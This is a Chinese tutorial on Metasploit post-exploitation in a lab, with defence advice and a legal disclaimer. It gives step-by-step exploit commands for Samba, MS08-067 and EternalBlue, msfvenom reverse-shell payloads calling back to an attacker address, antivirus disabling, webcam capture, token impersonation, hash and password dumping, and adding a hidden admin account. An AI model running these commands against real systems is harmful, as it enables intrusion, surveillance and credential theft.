日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

發布時間:2024/6/1 windows 56 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史。換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~

前文帶領大家了解Metasploit技術,它和CS都是APT攻擊中常見的方式,并結合作者之前的漏洞利用及WannaCry逆向經驗總結。這篇文章繼續帶領大家深入Metasploit技術,涉及后滲透相關的技術,包括信息收集、權限提權、移植漏洞模塊和后門。同時,結合作者之前的漏洞利用及WannaCry逆向經驗總結。本文參考徐焱老師的《Web安全攻防滲透測試實戰指南》著作,謝公子博客,并結合作者之前的博客和經驗進行總結。希望這篇文章對您有所幫助,這些大佬是真的值得我們去學習,獻上小弟的膝蓋~fighting!

文章目錄

  • 一.MSF漏洞利用
  • 二.后滲透攻擊之信息收集
    • 1.進程遷移
    • 2.系統命令
    • 3.文件系統命令
  • 三.后滲透攻擊之權限提升
    • 1.權限查詢
    • 2.利用WMIC實戰MS16-032本地溢出漏洞
    • 3.令牌竊取提權
    • 4.Hash攻擊提權
  • 四.后滲透攻擊之移植自定義漏洞利用模塊
    • 1.傳統MS08-067漏洞利用
    • 2.移植github的MS17-010漏洞模塊
    • 3.深度提權
  • 五.后滲透攻擊之后門
    • 1.操作系統Cymothoa后門
    • 2.Web后門
  • 六.總結

希望這些基礎原理能更好地幫助大家做好防御和保護,基礎性文章,希望對您有所幫助。作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗??傊?#xff0c;希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔!

作者的github資源:

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

從2019年7月開始,我來到了一個陌生的專業——網絡空間安全。初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網絡安全自學”系列文章,艱難前行著。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!

接下來我將開啟新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網絡攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~

  • 推薦前文:網絡安全自學篇系列-100篇

前文分析:

  • [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
  • [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
  • [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
  • [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向
  • [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
  • [系統安全] 六.逆向分析之條件語句和循環語句源碼還原及流程控制
  • [系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向
  • [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
  • [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
  • [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
  • [系統安全] 十一.那些年的熊貓燒香及PE病毒行為機理分析
  • [系統安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
  • [系統安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機理
  • [系統安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放過程(下)
  • [系統安全] 十五.Chrome瀏覽器保留密碼功能滲透解析、藍屏漏洞及某音樂軟件漏洞復現
  • [系統安全] 十六.PE文件逆向基礎知識(PE解析、PE編輯工具和PE修改)
  • [系統安全] 十七.Windows PE病毒概念、分類及感染方式詳解
  • [系統安全] 十八.病毒攻防機理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關機、藍屏攻擊)
  • [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析
  • [系統安全] 二十.PE數字簽名之(上)什么是數字簽名及Signtool簽名工具詳解
  • [系統安全] 二十一.PE數字簽名之(中)Signcode、PEView、010Editor、Asn1View工具用法
  • [系統安全] 二十二.PE數字簽名之(下)微軟證書漏洞CVE-2020-0601復現及Windows驗證機制分析
  • [系統安全] 二十三.逆向分析之OllyDbg動態調試復習及TraceMe案例分析
  • [系統安全] 二十四.逆向分析之OllyDbg調試INT3斷點、反調試、硬件斷點與內存斷點
  • [系統安全] 二十五.WannaCry勒索病毒分析 (1)Python復現永恒之藍漏洞實現勒索加密
  • [系統安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
  • [系統安全] 二十七.WannaCry勒索病毒分析 (3)蠕蟲傳播機制解析及IDA和OD逆向
  • [系統安全] 二十八.WannaCry勒索病毒分析 (4)全網"最"詳細的蠕蟲傳播機制解讀
  • [系統安全] 二十九.深信服分享之外部威脅防護和勒索病毒對抗
  • [系統安全] 三十.CS逆向分析 (1)你的游戲子彈用完了嗎?Cheat Engine工具入門普及
  • [系統安全] 三十一.惡意代碼檢測(1)惡意代碼攻擊溯源及惡意樣本分析
  • [系統安全] 三十二.惡意代碼檢測(2)常用技術詳解及總結
  • [系統安全] 三十三.惡意代碼檢測(3)基于機器學習的惡意代碼檢測技術
  • [系統安全] 三十四.惡意代碼檢測(4)編寫代碼自動提取IAT表、字符串及時間戳溯源地區
  • [系統安全] 三十五.Procmon工具基本用法及文件進程、注冊表查看
  • [系統安全] 三十六.APT系列(1)APT攻擊溯源防御與常見APT組織的攻擊案例
  • [系統安全] 三十七.APT系列(2)遠控木馬詳解與防御及APT攻擊中的遠控
  • [系統安全] 三十八.APT系列(3)惡意代碼與APT攻擊中的武器(強推Seak老師)
  • [系統安全] 三十九.APT系列(4)APT攻防溯源普及和醫療數據安全防御總結
  • [系統安全] 四十.APT系列(5)APT組織常用WinRAR漏洞復現(CVE-2018-20250)及惡意軟件劫持
  • [系統安全] 四十一.APT系列(6)Python解析PE文件并獲取時間戳判斷來源區域
  • [系統安全] 四十二.APT系列(7)基于溯源圖的APT攻擊檢測安全頂會論文總結
  • [系統安全] 四十三.APT系列(8)Powershell和PowerSploit腳本滲透攻擊手段詳解
  • [系統安全] 四十四.APT系列(9)Metasploit技術之基礎用法萬字詳解及防御機理
  • [系統安全] 四十五.APT系列(10)Metasploit后滲透技術信息收集、權限提權和功能模塊詳解

聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。


一.MSF漏洞利用

上一篇文章我們詳細介紹了Metasploit的基礎用法及漏洞利用過程,這篇文章將介紹后滲透相關的技術,包括信息收集、權限提升、移植漏洞和后門。在介紹這些知識之前,我們先簡單回顧下MSF漏洞利用的基本流程。

第一步,掃描靶機Windows XP系統是否開啟445端口。

  • nmap -sS 192.168.44.135

收集到目標主機相關信息后,為其選擇正確的Exploit和合適的Payload,然后發起攻擊。作者這里選擇Samba 3.x服務進行漏洞利用。

第二步,打開msfconsole。

  • msfconsole

第三步,查詢Samba的漏洞利用模塊,并選擇合適的漏洞利用模塊。

  • search samba

Samba是在Linux和UNIX系統上實現SMB(Server Message Block,信息服務塊)協議的一款免費軟件。SMB是一種在局域網上共享文件和打印機的通信協議,它在局域網內使用Linux和Windows系統的機器之間提供文件及打印機等資源的共享服務。

第四步,利用漏洞模塊。
在Samba服務返回的漏洞利用模塊列表中,我們選擇“Excellent”最杰出且時間較新的漏洞,從而提高滲透成功率。

  • use exploit/multi/samba/usermap_script

第五步,查看該漏洞利用模塊可供選擇的攻擊載荷模塊。
注意,因為目標是Linux機器,一定要選擇Linux的攻擊載荷。本文主要是回顧MSF漏洞攻擊流程,后面會詳細介紹真實的漏洞利用案例。

  • set payload cmd/unix/reverse

第六步,設置漏洞利用信息。

  • 受害主機IP:set RHOST 192.168.44.135
  • 攻擊主機IP:set LHOST 192.168.44.138
  • 攻擊端口:set RPORT 445

第七步,輸入攻擊命令exploit或run。

MSF發動攻擊成功后會獲取目標主機Shell,可以看到攻擊主機和目標主機之間建立了Shell連接。同時可能會出現錯誤“Exploit completed, but no session was created”,需要注意目標主機版本信息,選擇對應的攻擊載荷及漏洞利用模塊。建議讀者多嘗試各種Exploit和Payload的組合。

防御方法:

  • Samba服務漏洞發生在Samba3.0.20-25版本,當使用非默認用戶名映射腳本配置時,通過指定一個用戶名包含Shell元字符,攻擊者可以執行任意命令。建議將其升級到可防御的版本。
  • SMB局域網上共享文件和打印機的通信協議會出現各種漏洞,建議關閉相關的端口及防火墻設置,即使修補最新漏洞。


二.后滲透攻擊之信息收集

成功地對目標機器攻擊滲透后還可以做什么呢?
Metasploit提供了一個非常強大的后滲透工具—— Meterpreter,該工具具有多重功能,使后續入侵變得更容易,獲取目標機的Meterpreter Shell后,就進入了Metasploit最精彩的后滲透利用節點,后期滲透模塊有200多個,Meterpreter具有以下優勢。

  • 純內存工作模式,不需要對磁盤進行任何寫入操作。
  • 使用加密通信協議,而且可以同時與幾個信道通信。
  • 在被攻擊進程內工作,不需要創建新的進程。
  • 易于在多進程之間遷移。
  • 平臺通用,適用于Windows、Linux、 BSD系統, 并支持Intel x86和Intel x64平臺。

這里以上篇文章介紹的MS17-010漏洞為例進行說明。

同時,meterpreter的payload是真強大,它可以實現太多太多的功能了。我們可以在meterpreter下面進行help,查看相關用法。

  • Core Commands

  • File System Commands

  • Networking Commands & System Commands

  • User Interface Commands

  • Webcam Commands & Other Commands


1.進程遷移

在剛獲得Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透后瀏覽器有可能被用戶關閉。所以第一步就是要移動這個Shell,把它和目標機中一個穩定的進程綁定在一起,而不需要對磁盤進行任何寫入操作。這樣做使得滲透更難被檢測到。

(1) 獲取目標主機正在運行的進程

  • ps

這些進程與我們的目標主機如XP系統打開時對應的,如下圖所示。

(2) 查看Meterpreter Shell的進程號。

  • getpid

發現Meterpreter Shell進程的PID為524,Name為spoolsv.exe。


(3) 輸入命令移動進程。
輸入migrate命令把Shell移動到PID為1684的Explorer.exe進程里,因為該進程是一個穩定的應用。

  • migrate 1684

migrate也是一個post模塊,可以將meterpreter當前的進程移動到其他指定的進程中,這樣做的好處是可以給meterpreter一個相對穩定的運行環境,同時可以很好的躲避殺軟。

滲透過程中可能會遇到問題,比如“Error: Rex::TimeoutError : Operation timed out. ”,這都需要我們學會獨立解決。

完成進程遷移后,再次輸入getpid命令查看Meterpreter Shel的進程號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe進程里,原先PID為1116的進程會自動關閉,如圖所示。


(4) 使用自動遷移進程命令,系統會自動尋找合適的進程然后遷移。

  • run post/windows/manage/migrate

如下所示,系統已經把原來PID為3292的進程遷移到6020。

meterpreter > run post/windows/manage/migrate[*] Running module against DX1XMSTMBBJR3FZ [*] Current server process: notepad.exe (3292) [*] Spawning notepad.exe process to migrate to [+] Migrating to 6020 [+] Successfully migrated to process 6020

2.系統命令

獲得了穩定的進程后,接下來收集系統信息。后續作者想通過Python自己實現這些功能,感覺挺有意思的。

(1) 查看目標主機的系統信息。
通常會先輸入sysinfo命令查看目標機的系統信息,例如操作系統和體系結構。

  • sysinfo

(2) 檢查目標機是否運行在虛擬機上。

  • run post/windows/gather/checkvm

可以看到當前目標機正運行在一個VMware虛擬機上,接下來我們檢查虛擬機最近是否運行。

(3) 查看目標機最近的運行時間。

  • idletime

看到目標機器正在運行且運行了2 mins 49 secs。

(4) 查看目標機完整的網絡設置。

  • route

除此之外,可以輸入background命令將當前會話放到后臺,此命令適合在多個Meterpreter會話的場景下使用。


(5) 查看已經滲透成功的目標主機的用戶名。

  • getuid

(6) 關閉目標機操作系統殺毒軟件。

  • run post/windows/manage/killav

(7) 啟動目標機的遠程桌面協議,對應3389端口,后面我們會利用該端口。

  • run post/windows/manage/enable_rdp

(8) 查看目標機的本地子網情況。

  • run post/windows/manage/autoroute


可以通過添加路由借助被攻陷的主機對其他網絡的主機發送攻擊。同時可以添加路由信息。


(9) 列舉當前有多少用戶登陸了目標機。

  • run post/windows/gather/enum_logged_on_users

(10) 列舉完了用戶之后, 繼續輸入命令列舉安裝在目標機上的應用程序。

  • run post/windows/gather/enum_applications

(11) 查看自動登陸的用戶和密碼。

  • run windows/gather/credentials/windows_autologin

可以看到當前沒有抓到任何信息。此時就需要用到擴展插件Espia,使用前要先輸入load espia命令加載該插件,然后輸入screengrab命令就可以抓取此時目標機的屏幕截圖。


(12) 加載該插件截屏。

  • load espia
  • screengrab

另一個命令也可以達到同樣的截屏效果。抓取成功后就生成了一個jpeg圖片,保存在root目錄下。

  • screenshot

(13) 查看目標機camera。

  • webcam_list

(14) take photo。

  • webcam_snap

(15) 開啟模式。

  • webcam_stream

(16) 進入目標機shell。

  • shell

(17) 停止shell會話并返回meterpreter。

  • exit


3.文件系統命令

Meterpreter也支持各種文件系統命令,用于搜索文件并執行各種任務,例如搜索文件、下載文件及切換目錄等,相對來說操作比較簡單。常用的文件系統命令及其作用如下所示。

(1) 查看當前處于目標機的目錄。

  • pwd或getwd

(2) 查看當前處于本地的哪個目錄。

  • getlwd

(3) 列出當前目錄中的所有文件。

  • ls

(4) 切換目錄。

  • cd

(5) 搜索C盤中所有以".txt" 為擴展名的文件。

  • search -f *.txt -d c:\\

其中-f參數用于指定搜索文件模式,-d參數用于指定在哪個目錄下進行搜索,如圖所示。

(6) 下載目標機C盤的test.txt文件到攻擊機root下。

  • download c:\\test\\test.txt /root

(7) 上傳攻擊機root目錄下的test.txt文件到目標機C盤下。

  • upload /root/test.txt c:\\



三.后滲透攻擊之權限提升

1.權限查詢

在滲透過程中很有可能只獲得了一個系統的Guest或User權限。低的權限級別將使我們受到很多的限制,在實施橫向滲透或者提權攻擊時將很困難。

在主機上如果沒有管理員權限,就無法進行獲取Hash、安裝軟件、修改防火墻規則和修改注冊表等各種操作,所以必須將訪問權限從Guset提升到User,再到Administrator,最后到System級別。

滲透的最終目的是獲取服務器的最高權限,即Windows操作系統中管理員賬號的權限,或Linux操作系統中root賬戶的權限。提升權限的方式分為以下兩類。

  • 縱向提權: 低權限角色獲得高權限角色的權限。例如,一個WebShell權限通過提權之后擁有了管理員的權限,那么這種提權就是縱向提權,也稱作權限升級。
  • 橫向提權: 獲取同級別角色的權限。例如,通過已經攻破的系統A獲取了系統B的權限,那么這種提權就屬于橫向提權。

所以在成功獲取目標機Meterpreter Shell后,我們要知道現在已經擁有了什么權限。

(1) 查看當前權限。
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令行,接著輸入whoami /groups命令查看我們當前的權限。

  • whoami

注意,如果提示whoami不是內部命令,則需要將whoami.exe復制到System32目錄即可。

查看我們當前的權限。

  • whoami /groups

(2) 查看用戶已獲得的權限。
作者這里使用MS17-010漏洞提權,已經是系統管理員權限了。

  • getuid

通過getsystem命令可以嘗試提權。

(3) 查看系統的已打補。
傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者通過查詢C:\windows\里留下的補丁號".Iog" 查看目標機大概打了哪些補丁,如圖所示。

  • systeminfo

可以看到目標機只安裝了3個修補程序。

meterpreter命令如下:

(4) 利用WMIC命令列出已安裝的補丁。

  • Wmic qfe get Caption,Description,HotFixID,InstalledOn

注意,作者這里沒有顯示詳細信息,而徐老師他們顯示詳細信息如下圖所示。

可以看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然后將系統已經安裝的補丁編號與提權的EXP編號進行對比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用沒有編號的EXP進行提權。

因為虛擬機不怎么打補丁,所以我們可以使用很多EXP來提權,這里就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。

WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執行系統管理的支持,可以說是Windows平臺下最有用的命令行工具。使用WMIC我們不但可以管理本地計算機,還可以管理同一域內的所有遠程計算機(需要必要的權限),而被管理的遠程計算機不必事先安裝WMIC。

需要注意的是,在Windows XP下,低權限用戶是不能使用WMIC命令的,但是在Windows 7系統和Windows 8系統下,低權限用戶可以使用WMIC且不用更改任何設置。WMIC在信息收集和后滲透測試階段非常實用,可以調取查看目標機的進程、服務、用戶、用戶組、網絡連接、硬盤信息、網絡共享信息、已安裝補丁、啟動項、已安裝的軟件、操作系統的相關信息和時區等。


2.利用WMIC實戰MS16-032本地溢出漏洞

下面我們就利用本地溢出漏洞來提高權限,也就是說通過運行些現成的、能造成溢出漏洞的Exploit,把用戶從User組或其他系統用戶組中提升到Administrator組或root。

溢出漏洞就像往杯子里裝水,水多了杯子裝不進去,里面的水就會溢出來。而計算機有個地方叫緩存區,程序的緩存區長度是事先被設定好的,如果用戶輸入的數據超過了這個緩存區的長度,那么這個程序就會溢出。

(1) 接下來準備提權,需要先把Meterpreter會話轉為后臺執行,然后搜索MS16-032,如下圖所示。

  • search ms16-032

(2) 指定session完成提權操作。

  • use windows/local/ms16_032_secondary_logon_handle_privesc
  • set session 1

(3) 實現攻擊。

  • run

注意,如果搜索不到最新的Exploit,可以輸入msfupdate命令進行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應漏洞EXP 。但是作者的始終沒有響應,真實的運行結果是將權限提升為System級別。

防御方式:

  • 該漏洞的安全補丁編號為KB3139914,我們只需要安裝此補丁即可。為了方便提權,下面給出部分補丁編號。

微軟也會定期給出對應的方法,比如:

  • Microsoft 安全公告 MS08-067 - 嚴重


3.令牌竊取提權

令牌(Token)是系統的臨時密鑰,相當于賬戶名和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在于系統中,除非系統重新啟動。

令牌最大的特點就是隨機性、不可預測,一般hk或軟件無法猜測出來。令牌有很多種,比如:

  • 訪問令牌(Access Token): 表示訪問控制操作主題的系統對象;
  • 密保令牌(Security token): 又叫作認證令牌或者硬件令牌,是一種計算機身份校驗的物理設備,例如U盾;
  • 會話令牌(Session Token): 是交互會話中唯一的身份標識符。

在假冒令牌攻擊中需要使用Kerberost協議。所以在使用假冒令牌前,先來介紹Kerberost協議。Kerberos是一種網絡認證協議,其設計目標是通過密鑰系統為客戶機/服務器應用程序提供強大的認證服務。Kerberos的工作機制如下圖所示。

前面我們通過MS17-010已經實現權限提升,但已經是System級權限。但某些情況下可能是Test權限,需要進一步提升。

(1) 查看已經獲得的權限。

  • getuid

(2) 提權。

  • getsystem

發現提權失敗了。

(3) 列出可用的token。

  • use incognito
  • list_tokens -u

可以看到有兩種類型的令牌:

  • 一種是Delegation Tokens,也就是授權令牌,它支持交互式登錄,例如可以通過遠程桌面登錄訪問);
  • 一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話。令牌的數量其實取決于Meterpreter Shell的訪問級別。

由上圖可以看到,我們已經獲得了一個系統管理員hacker的授權令牌,現在就要假冒這個令牌,成功后即可擁有它的權限。

從輸出的信息可以看到分配的有效令牌包含 XI....NQ\hacker,其中XI…NQ是目標機的主機名,hacker表示登錄的用戶名。接下來在incognito中調用impersonate token命令假冒ge用戶進行攻擊,具體方法如下圖所示。

  • impersonate token XI...NQ\\hacker
  • shell
  • whoami

注意:在輸入HOSTNAME\USERNAME時需要兩個反斜杠(\\)。運行成功后在Meterpreter Shell下運行shell命令并輸入whoami,可以看到現在就是假冒的那個hacker系統管理員了。


4.Hash攻擊提權

Hashdump Meterpreter腳本可以從目標機器中提取Hash值,破解Hash值即可獲得登錄密碼。計算機中的每個賬號(如果是域服務器,則為域內的每個賬號)的用戶名和密碼都存儲在 sam 文件中,當計算機運行時,該文件對所有賬號進行鎖定,要
想訪問就必須有"系統級”賬號。所以要使用該命令就必須進行權限的提升。

(1) hashdump抓取密碼
在Meterpreter Shell提示符下輸入hashdump命令,將導出目標機sam數據庫中的Hash。注意,在非system權限下會出現失敗,報錯 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”

  • hashdump

注意,在非SYSTEM權限下遠行hashdump命令會失敗,而且在Windows 7、Windows Server 2008下有時候會出現進程移植不成功等問題。權限不夠需要提升為system權限。查看權限可以進入目標機的 cmd 運行 whoami /groups 來查看。

(2) 如果報錯,則提權并將進程轉移至具有SYSTEM權限的進程。

  • ps
  • getsystem
  • migrate 664

(3) 導出目標機sam數據庫中的Hash。

  • hashdump

(4) smart hashdump導出用戶的Hash值。
另一個模塊smart hashdump的功能更為強大,可以導出域所有用戶的Hash,其工作流程如下:

  • 檢查Meterpreter會話的權限和目標機操作系統類型。
  • 檢查目標機是否為域控制服務器。
  • 首先嘗試從注冊表中讀取Hash,不行的話再嘗試注入LSASS進程。

命令為:

  • run windows/gather/smart_hashdump

(5) 通過暴力或者彩虹列表對抓取到的hash進行破解。

  • https://www.cmd5.com/

說明:在SAM文件中保存了兩個不同的口令信息,LAN Manager(LM)口令散列算法和更加強大的加密NT版。LM就是NT口令文件的弱點。上圖中左邊為LM版本口令,右邊是NTLM版本,1001代表管理員。


(6) 使用Quarks PwDump抓取密碼
PwDump是一款Win32環境下的系統授權信息導出工具,目前沒有任何一款工具可以導出如此全面的信息、支持這么多的OS版本,而且相當穩定。它目前可以導出:

  • Local accounts NT/LM hashes + history 本機NT/LM哈希+歷史登錄記錄。
  • Domain accounts NT/LM hashes + history域中的NT/LM哈希+歷史登錄記錄。
  • Cached domain password緩存中的域管理密碼。
  • Bitlocker recovery information使用Bitlocker的恢復功能后遺留的信息(恢復密碼&關鍵包)。

運行該程序如上圖所示,默認顯示幫助信息,其參數含義如下所示。

  • -dhl:導出本地哈希值。
  • -dhdc:導出內存中的域控哈希值。
  • -dhd:導出域控哈希值,必須指定NTDS文件。
  • -db:導出Bitlocker信息, 必須指定NTDS文件。
  • -nt:導出NTDS文件。
  • -hist:導出歷史信息,可選項。
  • -t:可選導出類型,默認導出John類型。
  • -o:導出文件到本地。

這里使用該工具抓取本機Hash值并導出,可以輸入如下命令導出本地哈希值到當前目錄的1.txt。此外,該工具還可以配合Ntdsutil工具導出域控密碼。

  • QuarksPwDump.exe -dhl -o 1.txt

(7) 使用WCE抓取密碼。
Windows Credentials Editor (WCE)是一款功能強大的Windows平臺內網滲透工具,它能列舉登錄會話,并且可以添加、改變和刪除相關憑據,如LM/NTHash。這些功能在內網滲透中能夠被利用,例如在Windows平臺上執行繞過Hash操作或者從內存中獲取NT/LM Hash (也可以從交互式登錄、服務、遠程桌面連接中獲取)以用于進一步的攻擊,而且體積也非常小,是內網滲透時的必備工具。不過必須在管理員權限下使用,還要注意殺毒工具的免殺。

首先輸入upload命令將wce.exe.上傳到目標主機C盤中,然后在目標機Shell下輸入wce -w命令,便會成功提取系統明文管理員的密碼,如圖所示。

另一款工具是Mimikatz,作為一款輕量級后滲透測試工具,它可以幫助安全測試人員輕松抓取系統密碼,此外還包括能夠通過獲取的Kerberos登錄憑據,繞過支持RestrictedAdmin模式下Windows 8或Windows Server 2012的遠程終端(RDP)等功能。后續實戰中我們遇到再詳細介紹。

同時,Mimikatz還能在PowerShell中執行,實現偷竊、注入憑證、偽造Kerberos票證創建,以及很多其他的功能。

輸入samdump命令查看samdump的可用選項抓取Hash。

  • mimikatz_command -f samdump::hashes



四.后滲透攻擊之移植自定義漏洞利用模塊

1.傳統MS08-067漏洞利用

首先,簡單看看傳統的漏洞利用方法。由于之前MS17-010漏洞已經復現過,所以這里使用MS08-067來加深讀者MSF用法的印象。

第一步,掃描靶機Windows XP系統是否開啟445端口。

  • nmap -sS 192.168.44.135

第二步,打開msfconsole。

  • msfconsole

第三步,查詢漏洞模塊。

  • search ms08-067

第四步,利用漏洞并設置參數。

  • use exploit/windows/smb/ms08_067_netapi
    利用永恒之藍漏洞
  • set payload windows/shell_reverse_tcp
    設置payload
  • set RHOSTS 192.168.44.135
    設置受害主機IP
  • set LHOST 192.168.44.138
    設置本機IP地址
  • set RPORT 445
    設置端口445

第五步,查看配合參數。

  • show options

注意,默認target是自動的。

第六步,利用漏洞。

  • exploit或run

此時可能會報錯“Exploit comleted, but no session was created”。這是需要根據靶機版本選擇合適的targets,例如這里是靶機系統為:Windows XP,則只需加一行如下命令:

  • set target 2

最終漏洞利用成功。

輸出后滲透相關命令,可以進行剩余操作。


2.移植github的MS17-010漏洞模塊

2017年5月12日,WannaCry蠕蟲通過永恒之藍MS17-010漏洞在全球范圍大爆發,感染大量的計算機。WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等眾多行業,造成嚴重的危害。

WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恒之藍)進行傳播。該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導致電腦大量文件被加密。

WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445端口的Windows系統。被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過SMB漏洞上傳WannaCry勒索病毒等惡意程序。

WannaCry勒索病毒主要行為是傳播和勒索。

  • 傳播:利用基于445端口的SMB漏洞MS17-010(永恒之藍)進行傳播
  • 勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;加密文件;設置桌面背景、窗體信息及付款賬號等。

雖然MS17-010漏洞利用模塊Metasploit已經集成,但經過測試后被發現不支持某些操作系統,比如Windows 2003,但網上有支持的滲透腳本。并且真實的案例中,尤其是0day漏洞,我們需要自己構建shellcode攻擊腳本,所以這里我們講述一種普適性更強的漏洞利用方法,即移植漏洞模塊。

作者之前的文章也自己實現過。

  • Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
  • Windows漏洞利用之基于SEH異常處理機制的棧溢出攻擊及shell提取
  • Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell

(1) 下載漏洞利用模塊至本地或自己編寫相關Ruby腳本。

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

運行結果如下圖所示:

(2) 將 Eternalblue-Doublepulsar-Metasploit 文件夾下的rb文件復制到指定目錄。

  • /usr/share/metasploit-framework/modules/exploits/windows/smb

在Metasploit中,了解漏洞利用代碼模塊存儲的文件夾位置非常重要,不僅有助于尋找不同模塊的所在位置,也有助于讀者理解Metasploit框架的基本用法。

(3) MSF重新加載全部文件。

  • reload_all

(4) 搜索該腳本文件。

  • search eternalblue_doublepulsar

(5) 使用MSF自帶的Msfvenom命令生成DLL。
將MS17-010漏洞利用代碼移植到Metasploit框架后,就可以實現滲透操作。但在攻擊之前需要先生成一個DLL文件,如果目標主機是32位操作系統則生成32位的DLL,同理生成64位的DLL。這里涉及免殺,也可以使用PowerShell下的Empire生成DLL,后面文章介紹。

64: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.44.138 lport=4444 -f dll -o ~/eternal11.dll 32: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.44.138 -f dll -o ~/eternal11.dll

WannaCry和永恒之藍詳細原理,推薦大家閱讀我的逆向分析文章。

  • [網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀

(6) 使用use命令加載該模塊及漏洞配置。

  • use exploit/windows/smb/eternalblue_doublepulsar

(7) 漏洞利用。

  • exploit

至此,我們攻擊成功。得到一個Meterpreter會話,如下圖所示。

防御建議:

  • 開啟系統防火墻
  • 關閉445、139等端口連接
  • 開啟系統自動更新,下載并更新補丁,及時修復漏洞
  • 為計算機安全最新補丁,微軟已經發布補丁MS17-010修復該漏洞,讀者也可以通過第三方工具下載補丁
  • 安裝安全軟件,開啟主動防御進行攔截查殺
  • 如非服務需要,建議把高危漏洞的端口都關閉,比如 135、137、138、139、445、3389 等
  • 開啟防火墻,及時備份重要文件


3.深度提權

接著我們需要進一步對目標XP主機進行深度提權。

(1) 增加普通用戶并提升至管理員權限。

  • 增加普通用戶
    net user hacker 123456 /add
  • 提升管理員權限
    net localgroup administrators hacker /add

Windows DOM用戶常用命令如下:

